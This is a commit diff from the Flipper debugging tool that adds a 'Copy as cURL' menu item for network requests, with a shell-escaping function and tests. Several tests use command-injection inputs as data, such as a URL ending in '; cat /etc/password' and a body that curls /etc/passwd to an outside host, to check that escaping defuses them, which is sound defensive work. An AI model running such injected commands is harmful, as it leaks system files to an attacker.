Add copy as cURL for network requests (#415)
Summary: Pull Request resolved: https://github.com/facebook/flipper/pull/415 This diff adds a context menu item for network request rows that allows the user to copy the request as a curl command. The logic for the command generation was inspired by [`FLEXNetworkCurlLogger`](https://github.com/Flipboard/FLEX/blob/master/Classes/Network/FLEXNetworkCurlLogger.m) Resolves #406 Reviewed By: passy Differential Revision: D14973754 fbshipit-source-id: a57c31190d7615ca5377308e0bfad521b645b2e4
This commit is contained in:
committed by
Facebook Github Bot
parent
01e4d694b5
commit
d9d1346c12
145
src/plugins/network/__tests__/requestToCurlCommand.node.js
Normal file
145
src/plugins/network/__tests__/requestToCurlCommand.node.js
Normal file
@@ -0,0 +1,145 @@
|
||||
/**
|
||||
* Copyright 2018-present Facebook.
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {convertRequestToCurlCommand} from '../utils.js';
|
||||
import type {Request} from '../types.js';
|
||||
|
||||
test('convertRequestToCurlCommand: simple GET', () => {
|
||||
const request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'GET',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: null,
|
||||
};
|
||||
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual("curl -v -X GET 'https://fbflipper.com/'");
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: simple POST', () => {
|
||||
const request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/' -d 'some=data&other=param'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||
let request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: "https://fbflipper.com/'; cat /etc/password",
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
|
||||
request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/"; cat /etc/password',
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||
let request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: "https://fbflipper.com/'; cat /etc/password",
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST $'https://fbflipper.com/\\'; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
|
||||
request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/"; cat /etc/password',
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/\"; cat /etc/password' -d 'some=data&other=param'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: malicious POST data', () => {
|
||||
let request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"'),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/' -d $'some=\\'; curl https://somewhere.net -d \"$(cat /etc/passwd)\"'",
|
||||
);
|
||||
|
||||
request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=!!'),
|
||||
};
|
||||
|
||||
command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X POST 'https://fbflipper.com/' -d $'some=\\u21\\u21'",
|
||||
);
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: control characters', () => {
|
||||
let request: Request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'GET',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
expect(command).toEqual(
|
||||
"curl -v -X GET 'https://fbflipper.com/' -d $'some=\\u07 \\u09 \\u0c \\u1b&other=param'",
|
||||
);
|
||||
});
|
||||
@@ -22,8 +22,9 @@ import {
|
||||
FlipperPlugin,
|
||||
} from 'flipper';
|
||||
import type {Request, RequestId, Response} from './types.js';
|
||||
import {getHeaderValue} from './utils.js';
|
||||
import {convertRequestToCurlCommand, getHeaderValue} from './utils.js';
|
||||
import RequestDetails from './RequestDetails.js';
|
||||
import {clipboard} from 'electron';
|
||||
import {URL} from 'url';
|
||||
import type {Notification} from '../../plugin';
|
||||
|
||||
@@ -160,6 +161,19 @@ export default class extends FlipperPlugin<State, *, PersistedState> {
|
||||
onRowHighlighted = (selectedIds: Array<RequestId>) =>
|
||||
this.setState({selectedIds});
|
||||
|
||||
copyRequestCurlCommand = () => {
|
||||
const {requests} = this.props.persistedState;
|
||||
const {selectedIds} = this.state;
|
||||
// Ensure there is only one row highlighted.
|
||||
if (selectedIds.length !== 1) {
|
||||
return;
|
||||
}
|
||||
|
||||
const request = requests[selectedIds[0]];
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
clipboard.writeText(command);
|
||||
};
|
||||
|
||||
clearLogs = () => {
|
||||
this.setState({selectedIds: []});
|
||||
this.props.setPersistedState({responses: {}, requests: {}});
|
||||
@@ -188,6 +202,7 @@ export default class extends FlipperPlugin<State, *, PersistedState> {
|
||||
requests={requests || {}}
|
||||
responses={responses || {}}
|
||||
clear={this.clearLogs}
|
||||
copyRequestCurlCommand={this.copyRequestCurlCommand}
|
||||
onRowHighlighted={this.onRowHighlighted}
|
||||
highlightedRows={
|
||||
this.state.selectedIds ? new Set(this.state.selectedIds) : null
|
||||
@@ -203,6 +218,7 @@ type NetworkTableProps = {
|
||||
requests: {[id: RequestId]: Request},
|
||||
responses: {[id: RequestId]: Response},
|
||||
clear: () => void,
|
||||
copyRequestCurlCommand: () => void,
|
||||
onRowHighlighted: (keys: TableHighlightedRows) => void,
|
||||
highlightedRows: ?Set<string>,
|
||||
};
|
||||
@@ -349,19 +365,35 @@ class NetworkTable extends PureComponent<NetworkTableProps, NetworkTableState> {
|
||||
this.setState(calculateState(this.props, nextProps, this.state.sortedRows));
|
||||
}
|
||||
|
||||
contextMenuItems = [
|
||||
{
|
||||
type: 'separator',
|
||||
},
|
||||
{
|
||||
label: 'Clear all',
|
||||
click: this.props.clear,
|
||||
},
|
||||
];
|
||||
contextMenuItems() {
|
||||
const {clear, copyRequestCurlCommand, highlightedRows} = this.props;
|
||||
const highlightedMenuItems =
|
||||
highlightedRows && highlightedRows.size === 1
|
||||
? [
|
||||
{
|
||||
type: 'separator',
|
||||
},
|
||||
{
|
||||
label: 'Copy as cURL',
|
||||
click: copyRequestCurlCommand,
|
||||
},
|
||||
]
|
||||
: [];
|
||||
|
||||
return highlightedMenuItems.concat([
|
||||
{
|
||||
type: 'separator',
|
||||
},
|
||||
{
|
||||
label: 'Clear all',
|
||||
click: clear,
|
||||
},
|
||||
]);
|
||||
}
|
||||
|
||||
render() {
|
||||
return (
|
||||
<NetworkTable.ContextMenu items={this.contextMenuItems}>
|
||||
<NetworkTable.ContextMenu items={this.contextMenuItems()}>
|
||||
<SearchableTable
|
||||
virtual={true}
|
||||
multiline={false}
|
||||
|
||||
@@ -59,3 +59,46 @@ function decompress(body: string): string {
|
||||
|
||||
return String.fromCharCode.apply(null, new Uint8Array(data));
|
||||
}
|
||||
|
||||
export function convertRequestToCurlCommand(request: Request): string {
|
||||
let command: string = `curl -v -X ${request.method}`;
|
||||
command += ` ${escapedString(request.url)}`;
|
||||
// Add headers
|
||||
request.headers.forEach(header => {
|
||||
const headerStr = `${header.key}: ${header.value}`;
|
||||
command += ` -H ${escapedString(headerStr)}`;
|
||||
});
|
||||
// Add body
|
||||
const body = decodeBody(request);
|
||||
if (body) {
|
||||
command += ` -d ${escapedString(body)}`;
|
||||
}
|
||||
return command;
|
||||
}
|
||||
|
||||
function escapeCharacter(x) {
|
||||
const code = x.charCodeAt(0);
|
||||
return code < 16 ? '\\u0' + code.toString(16) : '\\u' + code.toString(16);
|
||||
}
|
||||
|
||||
const needsEscapingRegex = /[\u0000-\u001f\u007f-\u009f!]/g;
|
||||
|
||||
// Escape util function, inspired by Google DevTools. Works only for POSIX
|
||||
// based systems.
|
||||
function escapedString(str) {
|
||||
if (needsEscapingRegex.test(str) || str.includes("'")) {
|
||||
return (
|
||||
"$'" +
|
||||
str
|
||||
.replace(/\\/g, '\\\\')
|
||||
.replace(/\'/g, "\\'")
|
||||
.replace(/\n/g, '\\n')
|
||||
.replace(/\r/g, '\\r')
|
||||
.replace(needsEscapingRegex, escapeCharacter) +
|
||||
"'"
|
||||
);
|
||||
}
|
||||
|
||||
// Simply use singly quoted string.
|
||||
return "'" + str + "'";
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user